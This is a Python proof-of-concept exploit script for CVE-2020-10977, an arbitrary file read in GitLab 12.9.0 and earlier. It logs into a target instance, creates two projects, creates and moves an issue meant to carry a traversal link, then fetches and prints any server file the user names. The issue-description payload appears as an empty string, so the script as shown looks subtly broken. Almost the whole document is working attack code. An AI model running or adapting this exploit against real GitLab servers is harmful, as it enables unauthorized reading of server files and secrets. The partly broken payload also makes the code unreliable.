273 lines
8.2 KiB
Python
273 lines
8.2 KiB
Python
#!/usr/bin/env python3
|
|
|
|
import sys
|
|
import json
|
|
import requests
|
|
import argparse
|
|
from bs4 import BeautifulSoup
|
|
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('url', help='Target URL with http(s)://')
|
|
parser.add_argument('username', help='GitLab Username')
|
|
parser.add_argument('password', help='GitLab Password')
|
|
args = parser.parse_args()
|
|
|
|
base_url = args.url
|
|
if base_url.startswith('http://') or base_url.startswith('https://'):
|
|
pass
|
|
else:
|
|
print('[-] Include http:// or https:// in the URL!')
|
|
sys.exit()
|
|
if base_url.endswith('/'):
|
|
base_url = base_url[:-1]
|
|
|
|
username = args.username.split('@')[0]
|
|
password = args.password
|
|
|
|
login_url = base_url + '/users/sign_in'
|
|
project_url = base_url + '/projects/new'
|
|
create_url = base_url + '/projects'
|
|
prev_issue_url = ''
|
|
csrf_token = ''
|
|
project_names = ['ProjectOne', 'ProjectTwo']
|
|
|
|
session = requests.Session()
|
|
|
|
def banner():
|
|
print('-'*34)
|
|
print('--- CVE-2020-10977 ---------------')
|
|
print('--- GitLab Arbitrary File Read ---')
|
|
print('--- 12.9.0 & Below ---------------')
|
|
print('-'*34 + '\n')
|
|
print('[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]')
|
|
print('[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]\n')
|
|
|
|
def show_info():
|
|
print('[+] Target : ' + base_url)
|
|
print('[+] Username : ' + username)
|
|
print('[+] Password : ' + password)
|
|
print('[+] Project Names : {}, {}\n'.format(project_names[0], project_names[1]))
|
|
|
|
def login():
|
|
print('[!] Trying to Login...')
|
|
try:
|
|
login_req = session.get(login_url, verify=False)
|
|
except Exception as exc:
|
|
print('\n[-] Exception : ' + str(exc))
|
|
sys.exit()
|
|
|
|
login_sc = login_req.status_code
|
|
if login_sc == 200:
|
|
login_resp = login_req.text
|
|
soup = BeautifulSoup(login_resp, 'html.parser')
|
|
meta = soup.find_all('meta')
|
|
|
|
for entry in meta:
|
|
if 'name' in entry.attrs:
|
|
if entry.attrs['name'] == 'csrf-token':
|
|
csrf_token = entry.attrs['content']
|
|
else:
|
|
print('[-] Status : ' + str(login_req.status_code))
|
|
sys.exit()
|
|
|
|
login_data = {
|
|
'utf8': '✓',
|
|
'authenticity_token': csrf_token,
|
|
'user[login]': username,
|
|
'user[password]': password,
|
|
'user[remember_me]': 0
|
|
}
|
|
|
|
login_req = session.post(login_url, data=login_data, allow_redirects=False)
|
|
if login_req.status_code == 302 and 'redirected' in login_req.text:
|
|
print('[+] Login Successful!')
|
|
else:
|
|
print('[-] Status : ' + str(login_req.status_code))
|
|
print('[-] Login Failed!')
|
|
sys.exit()
|
|
|
|
def create_project(project):
|
|
global csrf_token
|
|
print('[!] Creating {}...'.format(project))
|
|
try:
|
|
project_req = session.get(project_url, verify=False)
|
|
except Exception as exc:
|
|
print('\n[-] Exception : ' + str(exc))
|
|
sys.exit()
|
|
project_resp = project_req.text
|
|
soup = BeautifulSoup(project_resp, 'html.parser')
|
|
inputs = soup.find_all('input')
|
|
for entry in inputs:
|
|
if 'name' in entry.attrs:
|
|
if entry.attrs['name'] == 'project[namespace_id]':
|
|
project_id = entry.attrs['value']
|
|
|
|
meta = soup.find_all('meta')
|
|
for entry in meta:
|
|
if 'name' in entry.attrs:
|
|
if entry.attrs['name'] == 'csrf-token':
|
|
csrf_token = entry.attrs['content']
|
|
|
|
create_data = {
|
|
'utf8': '✓',
|
|
'authenticity_token': csrf_token,
|
|
'project[ci_cd_only]': 'false',
|
|
'project[name]': project,
|
|
'project[namespace_id]': project_id,
|
|
'project[path]': project,
|
|
'project[description]': '',
|
|
'project[visibility_level]' : '0'
|
|
}
|
|
try:
|
|
create_req = session.post(create_url, data=create_data, allow_redirects=False)
|
|
except Exception as exc:
|
|
print('\n[-] Exception : ' + str(exc))
|
|
sys.exit()
|
|
if create_req.status_code == 302 and 'redirected' in create_req.text:
|
|
print('[+] {} Created Successfully!'.format(project))
|
|
else:
|
|
pass
|
|
|
|
def create_issue(project_name):
|
|
global prev_issue_url
|
|
print('[!] Creating an Issue...')
|
|
issue_url = '{}/{}/{}/issues/new'.format(base_url, username, project_name)
|
|
try:
|
|
issue_req = session.get(issue_url, verify=False)
|
|
except Exception as exc:
|
|
print('\n[-] Exception : ' + str(exc))
|
|
sys.exit()
|
|
issue_resp = issue_req.text
|
|
soup = BeautifulSoup(issue_resp, 'html.parser')
|
|
meta = soup.find_all('meta')
|
|
for entry in meta:
|
|
if 'name' in entry.attrs:
|
|
if entry.attrs['name'] == 'csrf-token':
|
|
csrf_token = entry.attrs['content']
|
|
|
|
issue_create_url = issue_url.replace('/new', '')
|
|
issue_data = {
|
|
'utf8': '✓',
|
|
'authenticity_token' : csrf_token,
|
|
'issue[title]': 'read_{}'.format(filename),
|
|
'issue[description]' : ''.format(filename),
|
|
'issue[confidential]' : '0',
|
|
'issue[assignee_ids][]' : '0',
|
|
'issue[label_ids][]' : '',
|
|
'issue[due_date]' : '',
|
|
'issue[lock_version]' : '0'
|
|
}
|
|
|
|
try:
|
|
create_req = session.post(issue_create_url, data=issue_data, allow_redirects=False)
|
|
except Exception as exc:
|
|
print('\n[-] Exception : ' + str(exc))
|
|
sys.exit()
|
|
if create_req.status_code == 302 and 'redirected' in create_req.text:
|
|
print('[+] Issue Created Successfully!')
|
|
create_resp = create_req.text
|
|
soup = BeautifulSoup(create_resp, 'html.parser')
|
|
prev_issue_url = soup.find('a')['href']
|
|
if base_url.startswith('https://') and prev_issue_url.startswith('http://'):
|
|
prev_issue_url = prev_issue_url.replace('http://', 'https://')
|
|
else:
|
|
print('[-] Status : ' + str(create_req.status_code))
|
|
print('[-] Failed to Create an Issue!')
|
|
|
|
def move_issue(source, second, filename):
|
|
print('[!] Moving Issue...')
|
|
id_url = '{}/{}/{}'.format(base_url, username, second)
|
|
try:
|
|
id_req = session.get(id_url, verify=False)
|
|
except Exception as exc:
|
|
print('\n[-] Exception : ' + str(exc))
|
|
sys.exit()
|
|
id_resp = id_req.text
|
|
soup = BeautifulSoup(id_resp, 'html.parser')
|
|
body = soup.find('body')
|
|
project_id = body.attrs['data-project-id']
|
|
move_url = prev_issue_url + '/move'
|
|
|
|
try:
|
|
csrf_req = session.get(prev_issue_url, verify=False)
|
|
except Exception as exc:
|
|
print('\n[-] Exception : ' + str(exc))
|
|
sys.exit()
|
|
csrf_resp = csrf_req.text
|
|
soup = BeautifulSoup(csrf_resp, 'html.parser')
|
|
meta = soup.find_all('meta')
|
|
for entry in meta:
|
|
if 'name' in entry.attrs:
|
|
if entry.attrs['name'] == 'csrf-token':
|
|
csrf_token = entry.attrs['content']
|
|
move_data = {
|
|
"move_to_project_id": int(project_id)
|
|
}
|
|
move_data = json.dumps(move_data)
|
|
move_headers = {
|
|
'X-CSRF-Token': csrf_token,
|
|
'X-Requested-With': 'XMLHttpRequest',
|
|
'Content-Type': 'application/json;charset=UTF-8'
|
|
}
|
|
|
|
try:
|
|
move_req = session.post(move_url, data=move_data, headers=move_headers)
|
|
except Exception as exc:
|
|
print('\n[-] Exception : ' + str(exc))
|
|
sys.exit()
|
|
if move_req.status_code == 200:
|
|
print('[+] Issue Moved Successfully!')
|
|
description = json.loads(move_req.text)["description"]
|
|
filepath = description.split('](')[1][1:-1]
|
|
fileurl = "{}/{}/{}/{}".format(base_url, username, second, filepath)
|
|
|
|
print('[+] File URL : ' + fileurl)
|
|
try:
|
|
contents = session.get(fileurl, verify=False)
|
|
except Exception as exc:
|
|
print('\n[-] Exception : ' + str(exc))
|
|
sys.exit()
|
|
if contents.status_code == 404:
|
|
print('[-] No such file or directory')
|
|
else:
|
|
print('\n> ' + filename)
|
|
print('{}\n\n{}\n{}\n'.format('-'*40, contents.text, '-'*40 ))
|
|
elif move_req.status_code == 500:
|
|
print('[-] Access Denied!')
|
|
else:
|
|
print('[-] Status : ' + str(move_req.status_code))
|
|
|
|
def delete_project(project):
|
|
print('[!] Deleting {}...'.format(project))
|
|
delete_data = {
|
|
'utf8': '✓',
|
|
'_method': 'delete',
|
|
'authenticity_token' : csrf_token
|
|
}
|
|
delete_url = '{}/{}/{}'.format(base_url, username, project)
|
|
try:
|
|
delete_req = session.post(delete_url, data=delete_data, verify=False)
|
|
except Exception as exc:
|
|
print('\n[-] Exception : ' + str(exc))
|
|
sys.exit()
|
|
if delete_req.status_code == 200:
|
|
print('[+] {} Successfully Deleted!'.format(project))
|
|
else:
|
|
print('[-] Status : ' + str(delete_req.status_code))
|
|
|
|
try:
|
|
banner()
|
|
show_info()
|
|
login()
|
|
for project in project_names:
|
|
create_project(project)
|
|
while True:
|
|
filename = input('[>] Absolute Path to File : ')
|
|
create_issue(project_names[0])
|
|
move_issue(project_names[0], project_names[1], filename)
|
|
except KeyboardInterrupt:
|
|
print('\n[-] Keyboard Interrupt')
|
|
for project in project_names:
|
|
delete_project(project)
|
|
sys.exit() |